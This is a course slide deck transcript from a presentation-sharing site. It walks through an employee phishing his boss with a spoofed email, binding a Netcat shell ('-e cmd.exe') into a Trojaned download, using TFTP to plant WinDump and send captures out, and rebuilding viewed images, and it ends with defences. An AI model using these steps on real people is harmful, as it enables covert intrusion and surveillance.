tel 283 n.
Skip this Video
Loading SlideShow in 5 Seconds..
TEL 283 PowerPoint Presentation
Download Presentation
TEL 283

Loading in 2 Seconds...

play fullscreen
1 / 21

TEL 283 - PowerPoint PPT Presentation

  • Uploaded on

TEL 283. What’s the Boss viewing?. Policy. The Boss established a new policy against surfing the web during work hours Phoenix decides to examine the sites that the Boss is looking at by spying on him. Setup. The networked machines are connected via a switch Private network

I am the owner, or an agent authorized to act on behalf of the owner, of the copyrighted work described.
Download Presentation

TEL 283

An Image/Link below is provided (as is) to download presentation

Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author.While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server.

- - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - -
Presentation Transcript
tel 283

TEL 283

What’s the Boss viewing?

  • The Boss established a new policy against surfing the web during work hours
  • Phoenix decides to examine the sites that the Boss is looking at by spying on him
  • The networked machines are connected via a switch
    • Private network
      • Boss’ IP:
      • Phoenix’s IP:
the plan
The Plan
  • Monitor traffic to and from the Boss’ machine
  • How “loud” should this approach be?
    • Loud/noisy means that could trigger alarms of IDS/IPS systems
      • Might be reasons to launch a noisy attack
        • Provide a distraction to another attack
      • Sometimes it’s the only way to monitor traffic
  • Since a single host’s traffic is the target, ARP poisoning, MAC spoofing or MAC flooding will not be done
viewing switched network traffic
Viewing Switched Network Traffic
  • “Loud” methods
    • Gratuitous ARP for individual hosts
      • ARP Poisoning
    • MAC spoofing
    • MAC flooding
    • SPAN
      • Port mirroring
viewing switched network traffic1
Viewing Switched Network Traffic
  • Gratuitous ARP
    • Unsolicited ARP
      • Protocol allows for it, without checking for the ARP request (stateless!)
      • ARP reply sent out associating the target’s IP with the collector’s MAC address
  • Spoof the MAC of the gateway
    • Collector replies to ARP requests for the gateway’s MAC
    • Switch will see the router’s MAC address on both switch ports will send outbound traffic to both ports
  • MAC flooding
    • Overwhelm the switch’s MAC table
      • Causes the switch to “failover” into hub mode
        • MACOF (
quieter method
Quieter method
  • Capture the traffic on the target host itself
    • Plant WinPCap and Trojan Horse on the host
  • The trick will be to install the software on the target host
    • Boss will not blindly install software
      • Have to convince him it’s something of value to him
  • The plan consists of a chained series of exploits
the plan1
The Plan
  • Copy a web site and host it on Phoenix’s server
  • Bind Netcat to a legitimate executable file
  • Send email to boss
    • Download the free executable
      • Netcat will also be downloaded and installed
  • Connect to boss’ machine using Netcat
  • Use TFTP and download a WinDump program onto boss’ machine
  • Capture the boss’ network traffic
  • Analyze captured traffic
  • Rebuild a jpg image using a hex editor
phishing scam
Phishing Scam
  • Phoenix locates a site and plans to get his boss to visit a copied version of the site
    • Lays the groundwork via some social engineering
      • Tells boss of a site “” which offers free CCNA practice exam as a promotional offer
    • Uses a utility to download and mirror the site
      • Wget (
      • Copy the site recursively to hard drive, with appropriate level of hyperlinks of the 1st page
      • Will also copy the practice test executable
        • Phoenix will bind his Trojan to this executable
binding the trojan
Binding the Trojan
  • Trojan wrapper program is used
    • YAB (Yet Another Binder)
      • (no longer there, however can get via BitTorrent sites)
      • Add Bind File option
        • Allows Phoenix to bind nc.exe
          • Will execute nc (asynchronously is possible)
          • Can add execution parameters when nc starts up
            • Np 50 –e cmd.exe –L
        • Registry startup option available (default is no)
        • Melt stub option
          • Will remove netcat after execution
        • Icon can be added to make the install appear legitimate
setting up the phishing site
Setting up the phishing site
  • Overwrite the original ccna.exe file with the bound Trojan file in the phony site
  • Register a very similar domain name
    • “”
  • Send an email to victim
    • Phoenix uses an anonymous e-mailer and spoofs the email header to have the “From:” appear as the real site
        • Doesn’t require a “real” email address to register
      • Victim would have to read the email message headers in order to see the real source domain
  • Check for spelling and grammatical errors
  • Offer something free or trial basis
  • Appeal to greed
    • Why victim is getting something for nothing
      • Lower suspicion
  • Appeal to victim’s sense of self
    • Self-help tools, adding to success, etc
  • Brevity
  • Text of the email contains the link to the site
    • Appears as the URL of the real site, but the hyperlink is really the phony site
  • Present the email to the victim
    • Possibly prepare the victim for the email, adding to the enticement
obtain the vic s ip address
Obtain the Vic’s IP address
  • Angry IP Scanner
  • Scan IP’s on the network for the IP with port 50 open and listening
connect to the victim machine
Connect to the victim machine
  • nc to the victim’s machine on port 50
  • Verify the connection using ipconfig
    • Will show the victim machine’s IP in the nc window
install packet capture software
Install packet capture software
  • Use command line utility
    • nc does not allow for usage of a GUI (Windows) interface
  • Sysinternals has a TFTP server available
    • Free
    • No configuration required
    • Windows already has a TFTP client!
  • Windump is downloaded
    • Placed into the default TFTP server directory (TFPT-Root)
  • Phoenix sets up a TFTP server on his machine
  • Using Netcat, Phoenix types

tftp –i get windump.exe windump.exe

tftp [-i] host [put | get] source destination

-i switch use binary transfer

run windump
Run Windump
  • Options
    • -c count (packets)
    • -s snaplength (length of packets captured)
    • -w filename (of captured packets)

windump –c 500 –s 1500 –w capture.log

  • If the victim does not have winpcap installed, Phoenix must transfer and manually install winpcap on victim machine
    • Windump requires winpcap
installing winpcap
Installing winpcap
  • Phoenix downloads winpcap
  • Unzips it
  • TFTP (to victim’s winpcap directory)
    • Daemon_mgm.exe
    • NetMonInstaller.exe
    • Npf_mgm.exe
    • Rpcapd.exe
    • Uninstall exe
  • Execute

Npf_mgm.exe –r

Daemon_mgm.exe –r

NetMonInstaller.exe i

analyzing the capture log
Analyzing the capture log
  • Using Netcat

tftp –I put capture.log

  • Use a packet analyzer to view the traffic
    • Wireshark
  • A review show sites visited by the victim
    • Includes a GET (HTTP) for a file called “gambling.jpg”
  • Follow TCP stream
    • Capture the output as raw data
    • Use a hex editor (WinHex), if required, to edit the raw data
      • Remove everything before the actual binary file (HTTP commands, etc)
      • Leaves just the actual binary of the image
        • Jpg starts with ÿØÿà
  • Anonymous note left on the victim’s desk highlighting the activity
  • Internet usage policy relaxed the next day
  • Phishing
    • Training!
    • Spam filters / phishing filters
  • Trojan horse
    • Anti-virus software
      • Latest signatures
    • However
      • Organizations will alter the Trojan (for a price) so that it does not match a signature
        • EliteC0ders (no longer offers this “service”)
    • Software policy
    • Sniffing
      • Port security on switches
        • Protects against ARP poisoning, MAC spoofing and MAC flooding
      • IPS
      • PromiScan
      • Host based IDS
        • Cisco Secure Agent
          • Warns if new application is launching